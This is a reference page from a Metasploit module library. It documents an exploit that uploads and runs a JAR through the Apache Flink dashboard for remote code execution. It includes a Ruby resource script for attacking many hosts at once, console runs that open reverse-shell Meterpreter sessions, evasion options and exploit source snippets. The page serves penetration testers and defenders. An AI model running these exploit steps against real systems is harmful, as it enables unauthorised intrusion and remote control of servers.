Apache Flink JAR Upload Java Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/apache_flink_jar_upload_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Flink JAR Upload Java Code Execution
Module: exploit/multi/http/apache_flink_jar_upload_exec
Source code: modules/exploits/multi/http/apache_flink_jar_upload_exec.rb
Disclosure date: 2019-11-13
Last modification time: 2022-05-11 12:47:44 +0000
Supported architecture(s): java
Supported platform(s): Java
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8081, 8443, 8880, 8888
List of CVEs: -
This module uses job functionality in Apache Flink dashboard web interface to upload and execute a JAR file, leading to remote execution of arbitrary Java code as the web server user. This module has been tested successfully on Apache Flink versions: 1.9.3 on Ubuntu 18.04.4; 1.11.2 on Ubuntu 18.04.4; 1.9.3 on Windows 10; and 1.11.2 on Windows 10.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using apache_flink_jar_upload_exec against a single host
Normally, you can use exploit/multi/http/apache_flink_jar_upload_exec this way:
msf > use exploit/multi/http/apache_flink_jar_upload_exec
msf exploit(apache_flink_jar_upload_exec) > show targets
... a list of targets ...
msf exploit(apache_flink_jar_upload_exec) > set TARGET target-id
msf exploit(apache_flink_jar_upload_exec) > show options
... show and set options ...
msf exploit(apache_flink_jar_upload_exec) > exploit
Using apache_flink_jar_upload_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your apache_flink_jar_upload_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/apache_flink_jar_upload_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module uses job functionality in Apache Flink dashboard web interface to upload and execute a JAR file, leading to remote execution of arbitrary Java code as the web server user.
This module has been tested successfully on Apache Flink versions:
- 1.9.3 on Ubuntu 18.04.4;
- 1.11.2 on Ubuntu 18.04.4;
- 1.9.3 on Windows 10; and
- 1.11.2 on Windows 10.
Verification Steps
wget 'https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz'
tar zxvf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2/
./bin/start-cluster.sh
Metasploit:
./msfconsoleuse exploit/multi/http/apache_flink_jar_upload_execset rhosts <rhost>run
Scenarios
Apache Flink version 1.9.3 on Ubuntu 18.04.4
msf6 > use exploit/multi/http/apache_flink_jar_upload_exec
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.194
rhosts => 172.16.191.194
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > check
[*] 172.16.191.194:8081 - The target appears to be vulnerable. Apache Flink version 1.9.3.
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192
lhost => 172.16.191.192
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > run
[*] Started reverse TCP handler on 172.16.191.192:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Apache Flink version 1.9.3.
[*] Uploading JAR payload 'bxAGPHOcppvL.jar' (5309 bytes) ...
[*] Retrieving list of avialable JAR files ...
[+] Found uploaded JAR file 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar'
[*] Executing JAR payload 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' entry class 'metasploit.Payload' ...
[*] Sending stage (58147 bytes) to 172.16.191.194
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.194:38326) at 2021-02-18 07:19:58 -0500
[*] Removing JAR file 'b4222291-a682-4788-9d43-44ebe5b18426_bxAGPHOcppvL.jar' ...
meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer : linux-18-04-04-amd64
OS : Linux 5.3.0-40-generic (amd64)
Meterpreter : java/linux
meterpreter >
Apache Flink version 1.11.2 on Windows 10
msf6 > use exploit/multi/http/apache_flink_jar_upload_exec
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set rhosts 172.16.191.193
rhosts => 172.16.191.193
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > check
[*] 172.16.191.193:8081 - The target appears to be vulnerable. Apache Flink version 1.11.2.
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > set lhost 172.16.191.192
lhost => 172.16.191.192
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > run
[*] Started reverse TCP handler on 172.16.191.192:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Apache Flink version 1.11.2.
[*] Uploading JAR payload 'JhnJgOxev.jar' (5309 bytes) ...
[*] Retrieving list of avialable JAR files ...
[+] Found uploaded JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar'
[*] Executing JAR payload '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' entry class 'metasploit.Payload' ...
[*] Sending stage (58147 bytes) to 172.16.191.193
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.193:51105) at 2021-02-18 07:18:02 -0500
[*] Removing JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar' ...
[!] Cleanup failed. Could not remove JAR file '67c7fb3f-81a0-4518-a67c-e375ae5f2d03_JhnJgOxev.jar'
meterpreter > getuid
Server username: User
meterpreter > sysinfo
Computer : WinDev1710Eval
OS : Windows 10 10.0 (amd64)
Meterpreter : java/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/apache_flink_jar_upload_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/apache_flink_jar_upload_exec
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > show info
Name: Apache Flink JAR Upload Java Code Execution
Module: exploit/multi/http/apache_flink_jar_upload_exec
Platform: Java
Arch: java
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-11-13
Provided by:
Henry Chen
bigger.wing
bcoles <[email protected]>
Module side effects:
artifacts-on-disk
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
This module uses job functionality in Apache Flink dashboard web
interface to upload and execute a JAR file, leading to remote
execution of arbitrary Java code as the web server user. This module
has been tested successfully on Apache Flink versions: 1.9.3 on
Ubuntu 18.04.4; 1.11.2 on Ubuntu 18.04.4; 1.9.3 on Windows 10; and
1.11.2 on Windows 10.
References:
https://www.exploit-db.com/exploits/48978
https://packetstormsecurity.com/files/159779
https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-
https://s.tencent.com/research/bsafe/841.html
https://cloud.tencent.com/developer/article/1540439
https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/
Module Options
This is a complete list of options available in the multi/http/apache_flink_jar_upload_exec exploit:
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > show options
Module options (exploit/multi/http/apache_flink_jar_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/apache_flink_jar_upload_exec exploit:
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > show advanced
Module advanced options (exploit/multi/http/apache_flink_jar_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/apache_flink_jar_upload_exec module can exploit:
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_flink_jar_upload_exec exploit:
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/apache_flink_jar_upload_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/apache_flink_jar_upload_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- No reply.
- Target is not Apache Flink.
- Apache Flink version <VERSION>.
- Cleanup failed. Could not remove JAR file '<JAR>'
- Failed to generate the JAR payload.
- JAR upload failed. No reply.
- JAR upload failed. Unexpected reply (HTTP <RES.CODE>).
- JAR upload failed. Unexpected reply.
- Could not list available JARs. No reply.
- Could not list available JARs. Unexpected reply (HTTP <RES.CODE>).
- Could not list available JARs. No JAR files available.
- Could not retrieve JAR file name.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No reply.
Here is a relevant code snippet related to the "No reply." error message:
65: 'method' => 'GET',
66: 'uri' => normalize_uri(target_uri.path, 'config')
67: })
68:
69: unless res
70: return CheckCode::Unknown('No reply.')
71: end
72:
73: unless res.body.include?('flink')
74: return CheckCode::Safe('Target is not Apache Flink.')
75: end
Target is not Apache Flink.
Here is a relevant code snippet related to the "Target is not Apache Flink." error message:
69: unless res
70: return CheckCode::Unknown('No reply.')
71: end
72:
73: unless res.body.include?('flink')
74: return CheckCode::Safe('Target is not Apache Flink.')
75: end
76:
77: version = res.get_json_document['flink-version']
78: if version
79: return CheckCode::Appears("Apache Flink version #{version}.")
Apache Flink version <VERSION>.
Here is a relevant code snippet related to the "Apache Flink version <VERSION>." error message:
74: return CheckCode::Safe('Target is not Apache Flink.')
75: end
76:
77: version = res.get_json_document['flink-version']
78: if version
79: return CheckCode::Appears("Apache Flink version #{version}.")
80: end
81:
82: CheckCode::Appears
83: end
84:
Cleanup failed. Could not remove JAR file '<JAR>'
Here is a relevant code snippet related to the "Cleanup failed. Could not remove JAR file '<JAR>'" error message:
132: print_status("Removing JAR file '#{@jar}' ...")
133:
134: res = delete_jar(@jar)
135:
136: unless res && res.code == 200
137: print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'")
138: end
139: end
140:
141: def exploit
142: data = generate_payload.encoded_jar.pack
Failed to generate the JAR payload.
Here is a relevant code snippet related to the "Failed to generate the JAR payload." error message:
138: end
139: end
140:
141: def exploit
142: data = generate_payload.encoded_jar.pack
143: fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data
144:
145: filename = "#{rand_text_alpha(8..12)}.jar"
146:
147: print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...")
148:
JAR upload failed. No reply.
Here is a relevant code snippet related to the "JAR upload failed. No reply." error message:
147: print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...")
148:
149: res = upload_jar(filename, data)
150:
151: unless res
152: fail_with(Failure::Unreachable, 'JAR upload failed. No reply.')
153: end
154:
155: unless res.code == 200
156: fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")
157: end
JAR upload failed. Unexpected reply (HTTP <RES.CODE>).
Here is a relevant code snippet related to the "JAR upload failed. Unexpected reply (HTTP <RES.CODE>)." error message:
151: unless res
152: fail_with(Failure::Unreachable, 'JAR upload failed. No reply.')
153: end
154:
155: unless res.code == 200
156: fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")
157: end
158:
159: unless res.get_json_document['status'] == 'success'
160: fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.')
161: end
JAR upload failed. Unexpected reply.
Here is a relevant code snippet related to the "JAR upload failed. Unexpected reply." error message:
155: unless res.code == 200
156: fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).")
157: end
158:
159: unless res.get_json_document['status'] == 'success'
160: fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.')
161: end
162:
163: print_status('Retrieving list of avialable JAR files ...')
164:
165: res = list_jars
Could not list available JARs. No reply.
Here is a relevant code snippet related to the "Could not list available JARs. No reply." error message:
163: print_status('Retrieving list of avialable JAR files ...')
164:
165: res = list_jars
166:
167: unless res
168: fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.')
169: end
170:
171: unless res.code == 200
172: fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).")
173: end
Could not list available JARs. Unexpected reply (HTTP <RES.CODE>).
Here is a relevant code snippet related to the "Could not list available JARs. Unexpected reply (HTTP <RES.CODE>)." error message:
167: unless res
168: fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.')
169: end
170:
171: unless res.code == 200
172: fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).")
173: end
174:
175: jars = res.get_json_document['files']
176:
177: if jars.blank?
Could not list available JARs. No JAR files available.
Here is a relevant code snippet related to the "Could not list available JARs. No JAR files available." error message:
173: end
174:
175: jars = res.get_json_document['files']
176:
177: if jars.blank?
178: fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.')
179: end
180:
181: jars.each do |jar|
182: if jar['name'] == filename
183: @jar = jar['id']
Could not retrieve JAR file name.
Here is a relevant code snippet related to the "Could not retrieve JAR file name." error message:
184: break
185: end
186: end
187:
188: unless @jar
189: fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.')
190: end
191:
192: print_good("Found uploaded JAR file '#{@jar}'")
193:
194: entry_class = 'metasploit.Payload'
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Related Pull Requests
- #15578 Merged Pull Request: Remove dead cisco_rv130_rmi_rce documentation
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod
References
- CVE: Not available
- EDB-48978
- PACKETSTORM-159779
- https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-
- https://s.tencent.com/research/bsafe/841.html
- https://cloud.tencent.com/developer/article/1540439
- https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/
See Also
Check also the following modules related to this module:
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Authors
- Henry Chen
- bigger.wing
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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